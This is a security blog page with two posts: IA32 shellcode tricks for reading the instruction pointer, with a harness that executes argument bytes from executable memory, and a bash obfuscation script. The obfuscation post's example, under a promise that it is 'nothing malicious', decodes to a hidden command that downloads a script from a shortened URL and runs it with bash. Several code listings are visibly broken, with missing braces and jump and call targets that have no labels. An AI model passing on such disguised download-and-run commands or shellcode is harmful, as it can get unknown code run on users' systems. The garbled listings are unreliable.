Daniele Bellavista's Blog

Security, IT, Projects

IA32 shellcodes: get EIP value — 2014-10-09

IA32 shellcodes: get EIP value

I’d like to share some tricks to get the instruction pointer when writing an IA32 shellcode.

The following C code is used for testing the address and the approaches:

// File tester.c

// Compile with -m32 -fno-pie
int main(int argc, char** argv)
void* funcm = mmap(NULL, 1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, 0, 0);
strncpy(funcm, argv[1], 100);
printf("Function address: %p\n", funcm);
void* res = ((void*(*)(void))funcm)();
printf("Eip: %p\n", res);
return 0;

Simple enough.
Now, the first appraoch is the relative call. The idea is to call a label, get the EIP from the stack and return to the caller:

bits 32

jmp goofy
mov eax, [esp]
call pluto

The result is:

$ ./tester $(python -c 'print "\xeb\x04\x8b\x04\x24\xc3\xe8\xf7\xff\xff\xff\xc3"')
Function address: 0xf77ca000
Eip: f77ca00b

Another approach is to issue an absolute call using the simpliest of the ROP gadget: ret. Once returned, the EIP is read from the stack.

$ objdump -d tester | grep ret | head -1
8048356: c3 ret

bits 32

mov eax, 0x8048356
call eax
mov eax, [esp - 4]

The result is:

$ ./tester $(python -c 'print "\xb8\x56\x83\x04\x08\xff\xd0\x8b\x44\x24\xfc\xc3"')
Function address: 0xf779d000
Eip: 0xf779d007

Finally, the last approach uses the Floating point execution environment to get the EIP without performing any call at all. As stated in the IA32 reference, the instruction FNSTENV:

Saves the current FPU operating environment at the memory location specified with the destination operand, and then masks all floating-point exceptions. The FPU operating environment consists of the FPU control word, status word, tag word, instruction pointer, data pointer, and last opcode.

The chapter about the FPU environment, states also that the instruction pointer is set to the last floating point operation. Thus, in order to obtain the EIP, the shellcode must invoke a floating point function and save the environment.

bits 32

sub esp, 28
fnstenv [esp]
mov eax, [esp+0xc]
add esp, 28

The result is:

$ ./tester $(python -c 'print "\x83\xec\x1c\xd9\xe4\xd9\x34\x24\x8b\x44\x24\x0c\x83\xc4\x1c\xc3"')
Function address: 0xf7770000
Eip: 0xf7770003
A useless bash code obfuscation — 2013-10-27

A useless bash code obfuscation

Bash obfuscation is really hard. So just for fun I created a simple script that obfuscate a one-line bash code at cost of an huge size increase!

An example is:

eval `echo -e "\x65\x76\x61\x6c\x20\x60\x65\x63\x68\x6f\x20\x22\x64\x32\x64\x6c\x64\x43\x42\x6f\x64\x48\x52\x77\x4f\x69\x38\x76\x5a\x32\x39\x76\x4c\x6d\x64\x73\x4c\x31\x55\x30\x52\x31\x4e\x4d\x59\x53\x41\x74\x63\x55\x38\x67\x4c\x33\x52\x74\x63\x43\x39\x68\x63\x32\x51\x67\x4a\x69\x59\x67\x59\x6d\x46\x7a\x61\x43\x41\x76\x64\x47\x31\x77\x4c\x32\x46\x7a\x5a\x41\x3d\x3d\x22\x20\x7c\x20\x62\x61\x73\x65\x36\x34\x20\x2d\x64\x69\x60"`

I promise it’s nothing malicious 🙂

The idea is to create multiple level of obfuscation and use eval to evaluate the deobfuscated string as bash code. The outer level is hexencoding, interpreted by echo -e. The second level is base64, interpreted by base64 -d.

Combinations can be a lot 😛

The code of the obfuscator is:

if [[ $# -ne 1 ]] ; then
  CMD="echo ciao"
B64=$(echo -n $CMD | base64)
MIDDLE="eval \`echo \"$B64\" | base64 -di\`"
CODE=$(echo -n $MIDDLE | hexdump -v -e '"\\\x" 1/1 "%02x"')
LOL="eval \`echo -e \"$CODE\"\`"
echo $LOL